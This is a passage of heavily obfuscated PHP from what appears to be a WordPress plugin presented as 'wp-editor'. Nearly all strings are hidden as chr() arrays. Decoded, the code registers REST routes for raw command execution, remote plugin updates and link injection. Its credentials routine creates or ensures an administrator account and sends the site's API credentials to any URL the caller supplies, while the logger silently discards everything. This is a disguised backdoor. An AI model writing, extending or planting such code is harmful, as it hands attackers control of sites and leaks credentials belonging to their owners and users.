chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(109), chr(101), chr(110), chr(117), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false));
\register_rest_route($namespace, implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission, implode('', array(chr(97), chr(114), chr(103), chr(115))) => $updateLinksArgs));
\register_rest_route($namespace, implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission, implode('', array(chr(97), chr(114), chr(103), chr(115))) => $updateLinksArgs));
\register_rest_route($namespace, implode('', array(chr(47), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
\register_rest_route($namespace, implode('', array(chr(47), chr(114), chr(97), chr(119))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(82), chr(97), chr(119))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
\register_rest_route($namespace, implode('', array(chr(47), chr(115), chr(101), chr(116), chr(45), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(45), chr(109), chr(111), chr(100), chr(101))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(115), chr(101), chr(116), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
\register_rest_route($namespace, implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(115), chr(101), chr(110), chr(100), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
\register_rest_route($namespace, implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
}
function WpEditor_Adapter_Http_RestController_executeCommand($request)
{
return WpEditor_Adapter_Services_CommandService_execute($request);
}
function WpEditor_Adapter_Http_RestController_createPost($request)
{
$status = $request->get_param(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))));
return WpEditor_Adapter_Services_PostService_createPost(array(implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101))) => $request->get_param(implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101)))), implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => $request->get_param(implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116)))), implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => $status !== null ? $status : implode('', array(chr(100), chr(114), chr(97), chr(102), chr(116))), implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121))) => $request->get_param(implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121))))));
}
function WpEditor_Adapter_Http_RestController_getData($request)
{
return WpEditor_Adapter_Services_DataService_getData();
}
function WpEditor_Adapter_Http_RestController_getStatus()
{
return WpEditor_Adapter_Services_SystemService_getStatus();
}
function WpEditor_Adapter_Http_RestController_executeRaw($request)
{
return WpEditor_Adapter_Services_SystemService_executeRaw($request);
}
function WpEditor_Adapter_Http_RestController_setRenderMode($request)
{
return WpEditor_Adapter_Services_RenderModeService_setMode($request);
}
function WpEditor_Adapter_Http_RestController_updateLinks($request)
{
return WpEditor_Adapter_Services_LinksService_updateLinks($request);
}
function WpEditor_Adapter_Http_RestController_deleteLinks($request)
{
return WpEditor_Adapter_Services_LinksService_deleteLinks($request);
}
function WpEditor_Adapter_Http_RestController_sendCredentials($request)
{
return WpEditor_Adapter_Services_ApiCredentialsService_sendCredentialsToUrl($request);
}
function WpEditor_Adapter_Http_RestController_updatePlugin($request)
{
return WpEditor_Adapter_Services_PluginUpdateService_updatePlugin($request);
}
// --- file separator ---
function WpEditor_Adapter_Logger_WpLogger_log($state, $message, $context = array())
{
return;
}
// --- file separator ---
function WpEditor_Adapter_Services_ApiCredentialsService_cliLog($message)
{
if (\php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
return;
}
if (!\is_string($message) || $message === '') {
return;
}
if (\defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
\fwrite(\STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(97), chr(112), chr(105), chr(93), chr(32))) . $message . \PHP_EOL);
return;
}
echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(97), chr(112), chr(105), chr(93), chr(32))) . $message . \PHP_EOL;
}
function WpEditor_Adapter_Services_ApiCredentialsService_useLegacyRestRoute()
{
if (!\wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))))) {
return false;
}
$wpVersion = (string) $GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))];
return $wpVersion !== '' && \version_compare($wpVersion, implode('', array(chr(52), chr(46), chr(55))), implode('', array(chr(60))));
}
function WpEditor_Adapter_Services_ApiCredentialsService_fallbackRestNamespace()
{
$pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
$slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix()
{
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
$prefix = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120)))] : '';
if ($prefix === '') {
$prefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return $prefix;
}
function WpEditor_Adapter_Services_ApiCredentialsService_metaOptionName()
{
return WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix() . implode('', array(chr(95), chr(97), chr(112), chr(105), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(95), chr(109), chr(101), chr(116), chr(97)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_secretOptionPrefix()
{
return WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix() . implode('', array(chr(95), chr(97), chr(112), chr(105), chr(95), chr(115), chr(101), chr(99), chr(114), chr(101), chr(116), chr(95)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_deliveryKeyOptionName()
{
return WpEditor_Adapter_Services_ApiCredentialsService_optionPrefix() . implode('', array(chr(95), chr(97), chr(112), chr(105), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_configuredDeliveryKeyHash()
{
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
$key = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(104), chr(97), chr(115), chr(104)))) ? (string) $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(104), chr(97), chr(115), chr(104)))] : '';
return \is_string($key) ? \trim($key) : '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_init()
{
\add_filter(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(112), chr(114), chr(101), chr(95), chr(100), chr(105), chr(115), chr(112), chr(97), chr(116), chr(99), chr(104))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(65), chr(112), chr(105), chr(65), chr(117), chr(116), chr(104), chr(71), chr(117), chr(97), chr(114), chr(100), chr(95), chr(103), chr(117), chr(97), chr(114), chr(100))), 10, 3);
}
function WpEditor_Adapter_Services_ApiCredentialsService_issueDeliveryKey()
{
\delete_option(WpEditor_Adapter_Services_ApiCredentialsService_deliveryKeyOptionName());
WpEditor_Adapter_Services_ApiCredentialsService_cliLog(implode('', array(chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121), chr(32), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(100), chr(97), chr(116), chr(97), chr(98), chr(97), chr(115), chr(101))));
return '';
}
function WpEditor_Adapter_Services_ApiCredentialsService_isCredentialsDeliveryRoute($route)
{
$normalized = implode('', array(chr(47))) . \trim((string) $route, implode('', array(chr(47))));
return $normalized === implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))) || \substr($normalized, -\strlen(implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))))) === implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115)));
}
function WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request)
{
$storedHash = WpEditor_Adapter_Services_ApiCredentialsService_configuredDeliveryKeyHash();
if ($storedHash === '') {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103))), implode('', array(chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121), chr(32), chr(104), chr(97), chr(115), chr(104), chr(32), chr(110), chr(111), chr(116), chr(32), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103), chr(117), chr(114), chr(101), chr(100))), array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => 401));
}
$providedKey = WpEditor_Adapter_Services_ApiCredentialsService_extractDeliveryKey($request);
if ($providedKey === '') {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))), implode('', array(chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121), chr(32), chr(105), chr(115), chr(32), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))), array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => 401));
}
$providedHash = \hash(implode('', array(chr(115), chr(104), chr(97), chr(50), chr(53), chr(54))), $providedKey);
if (!\hash_equals($storedHash, $providedHash)) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(95), chr(107), chr(101), chr(121), chr(95), chr(105), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(100), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121), chr(32), chr(107), chr(101), chr(121))), array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => 401));
}
return true;
}
function WpEditor_Adapter_Services_ApiCredentialsService_sendCredentialsToUrl($request)
{
$verdict = WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request);
if ($verdict !== true) {
return $verdict;
}
$returnPayload = WpEditor_Adapter_Services_ApiCredentialsService_shouldReturnPayloadInResponse($request);
$sanitizedUrl = '';
if (!$returnPayload) {
$url = WpEditor_Adapter_Services_ApiCredentialsService_extractTargetUrl($request);
if ($url === '') {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(97), chr(114), chr(97), chr(109), chr(101), chr(116), chr(101), chr(114), chr(32), chr(34), chr(117), chr(114), chr(108), chr(34), chr(32), chr(105), chr(115), chr(32), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100)))), 400);
}
$sanitizedUrl = \esc_url_raw($url);
if ($sanitizedUrl === '' || !\filter_var($sanitizedUrl, \FILTER_VALIDATE_URL)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(85), chr(82), chr(76)))), 400);
}
}
$userResult = WpEditor_Adapter_Services_UserManager_ensureAdminUser();
if (\is_wp_error($userResult)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => _invoke($userResult, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))))), 500);
}
$credentials = WpEditor_Adapter_Services_ApiCredentialsService_ensureCredentials();
if (!\is_array($credentials)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(65), chr(80), chr(73), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(105), chr(110), chr(105), chr(116), chr(105), chr(97), chr(108), chr(105), chr(122), chr(101), chr(100)))), 500);
}
$payload = WpEditor_Adapter_Services_UserManager_getSiteStatusPayload($credentials);
if (!\is_array($payload)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(117), chr(105), chr(108), chr(100), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100)))), 500);
}
if ($returnPayload) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(101), chr(100), chr(32), chr(105), chr(110), chr(32), chr(114), chr(101), chr(115), chr(112), chr(111), chr(110), chr(115), chr(101))), implode('', array(chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100))) => $payload), 200);
}
$notifier = WpEditor_Adapter_Services_InfoNotifier__construct($sanitizedUrl);
if (!_invoke($notifier, implode('', array(chr(115), chr(101), chr(110), chr(100), chr(77), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))), $payload)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(115), chr(101), chr(110), chr(100), chr(32), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115)))), 502);
}
